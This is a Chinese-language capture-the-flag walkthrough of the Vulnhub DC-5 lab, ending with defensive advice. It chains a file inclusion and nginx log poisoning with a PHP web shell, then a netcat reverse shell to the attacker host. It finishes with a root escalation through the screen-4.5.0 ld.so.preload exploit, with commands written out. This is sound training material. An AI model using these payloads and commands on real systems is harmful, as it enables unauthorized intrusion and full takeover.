Vulnhub DC-5 靶机渗透
字数 1346 2025-08-15 21:34:01

DC-5 靶机渗透教学文档

1. 信息收集阶段

1.1 网络扫描

  • 使用 ifconfig 获取 Kali Linux 的 IP 地址
  • 使用 nmap 扫描局域网设备:nmap -sn 192.168.0.0/24
  • 发现 DC-5 靶机 IP 为 192.168.0.149
  • 详细扫描靶机端口:nmap -sV -A 192.168.0.149

1.2 Web 服务分析

  • 发现 80 端口开放,访问后确认 CMS 为 Nginx
  • 目录扫描:
    • 使用 dirbgobuster 扫描网站目录
    • 发现 contact 页面可提交表单
    • 提交后跳转至 thankyou.php 页面
    • 刷新页面发现底部日期变化

1.3 路径爆破

  • 使用 wfuzz 进行路径爆破:
    wfuzz -w wordlist -w wordlist -u http://192.168.0.149/FUZZ=FUZ2Z
    
  • 过滤常见响应长度:
    wfuzz -w wordlist -w wordlist --hh 851 -u http://192.168.0.149/FUZZ=FUZ2Z
    
  • 发现可利用参数:file=footer.php

2. 漏洞利用

2.1 文件包含漏洞

  • 使用 Burp Suite 拦截 contact 表单提交
  • 修改 file 参数进行测试:
    • 测试 /etc/passwd:确认存在文件包含漏洞
    • 测试 /var/log/nginx/access.log:可读取日志文件

2.2 日志注入攻击

  • 在 Burp Suite 中注入 PHP 代码:
    <?php phpinfo(); ?>
    
  • 确认日志中记录了 PHP 代码
  • 修改为反弹 shell 代码:
    <?php system($_GET['cmd']); ?>
    

2.3 获取反弹 shell

  • 在 Kali 上设置监听:
    nc -lvnp 4444
    
  • 通过浏览器或 curl 访问包含恶意代码的日志文件并执行命令:
    http://192.168.0.149/thankyou.php?cmd=nc -e /bin/sh 192.168.0.100 4444
    
  • 获取 shell 后升级为交互式 shell:
    python -c 'import pty; pty.spawn("/bin/bash")'
    

3. 权限提升

3.1 查找 SUID 文件

  • 查找具有 SUID 权限的文件:
    find / -perm -u=s -type f 2>/dev/null
    
  • 发现可疑文件:screen-4.5.0

3.2 利用 screen 漏洞

  • 搜索 screen-4.5.0 漏洞,发现 exploit 代码 (41154.sh)
  • 将 exploit 分解为三个部分:
    1. libhax.c - 编译为共享库
    2. rootshell.c - 编译为 rootshell
    3. run.sh - 执行脚本

3.3 手动执行提权

  1. 编译 libhax.c:
    gcc -fPIC -shared -ldl -o libhax.so libhax.c
    
  2. 编译 rootshell.c:
    gcc -o rootshell rootshell.c
    
  3. 执行提权步骤:
    cd /etc
    umask 000
    screen -D -m -L ld.so.preload
    echo -ne "\x0a/tmp/libhax.so" > ld.so.preload
    screen -ls
    /tmp/rootshell
    
  4. 确认获得 root 权限

3.4 获取 flag

  • 切换到 /root 目录
  • 查看 flag 文件内容

4. 知识点总结

4.1 信息收集

  • wfuzz 路径爆破技术
  • 响应长度过滤技巧 (--hh 参数)
  • Nginx 日志文件默认位置

4.2 漏洞利用

  • PHP 文件包含漏洞利用
  • 日志文件注入攻击
  • Nginx 日志文件特性
  • 反弹 shell 技术

4.3 权限提升

  • SUID 文件查找与分析
  • screen 历史漏洞利用
  • 手动编译和执行 exploit
  • 共享库注入技术

4.4 其他

  • Kali Linux 默认 web 目录:/var/www/html
  • 交互式 shell 获取方法
  • 渗透测试中脚本分析与修改技巧

5. 防御建议

  1. 及时更新软件版本,修复已知漏洞
  2. 限制文件包含功能,避免使用用户输入作为文件路径
  3. 设置适当的日志文件权限,防止写入恶意代码
  4. 定期检查系统 SUID 文件,移除不必要的特权
  5. 使用最小权限原则运行服务
  6. 实施输入验证和过滤,防止代码注入
DC-5 靶机渗透教学文档 1. 信息收集阶段 1.1 网络扫描 使用 ifconfig 获取 Kali Linux 的 IP 地址 使用 nmap 扫描局域网设备: nmap -sn 192.168.0.0/24 发现 DC-5 靶机 IP 为 192.168.0.149 详细扫描靶机端口: nmap -sV -A 192.168.0.149 1.2 Web 服务分析 发现 80 端口开放,访问后确认 CMS 为 Nginx 目录扫描: 使用 dirb 或 gobuster 扫描网站目录 发现 contact 页面可提交表单 提交后跳转至 thankyou.php 页面 刷新页面发现底部日期变化 1.3 路径爆破 使用 wfuzz 进行路径爆破: 过滤常见响应长度: 发现可利用参数: file=footer.php 2. 漏洞利用 2.1 文件包含漏洞 使用 Burp Suite 拦截 contact 表单提交 修改 file 参数进行测试: 测试 /etc/passwd :确认存在文件包含漏洞 测试 /var/log/nginx/access.log :可读取日志文件 2.2 日志注入攻击 在 Burp Suite 中注入 PHP 代码: 确认日志中记录了 PHP 代码 修改为反弹 shell 代码: 2.3 获取反弹 shell 在 Kali 上设置监听: 通过浏览器或 curl 访问包含恶意代码的日志文件并执行命令: 获取 shell 后升级为交互式 shell: 3. 权限提升 3.1 查找 SUID 文件 查找具有 SUID 权限的文件: 发现可疑文件: screen-4.5.0 3.2 利用 screen 漏洞 搜索 screen-4.5.0 漏洞,发现 exploit 代码 (41154.sh) 将 exploit 分解为三个部分: libhax.c - 编译为共享库 rootshell.c - 编译为 rootshell run.sh - 执行脚本 3.3 手动执行提权 编译 libhax.c: 编译 rootshell.c: 执行提权步骤: 确认获得 root 权限 3.4 获取 flag 切换到 /root 目录 查看 flag 文件内容 4. 知识点总结 4.1 信息收集 wfuzz 路径爆破技术 响应长度过滤技巧 ( --hh 参数) Nginx 日志文件默认位置 4.2 漏洞利用 PHP 文件包含漏洞利用 日志文件注入攻击 Nginx 日志文件特性 反弹 shell 技术 4.3 权限提升 SUID 文件查找与分析 screen 历史漏洞利用 手动编译和执行 exploit 共享库注入技术 4.4 其他 Kali Linux 默认 web 目录: /var/www/html 交互式 shell 获取方法 渗透测试中脚本分析与修改技巧 5. 防御建议 及时更新软件版本,修复已知漏洞 限制文件包含功能,避免使用用户输入作为文件路径 设置适当的日志文件权限,防止写入恶意代码 定期检查系统 SUID 文件,移除不必要的特权 使用最小权限原则运行服务 实施输入验证和过滤,防止代码注入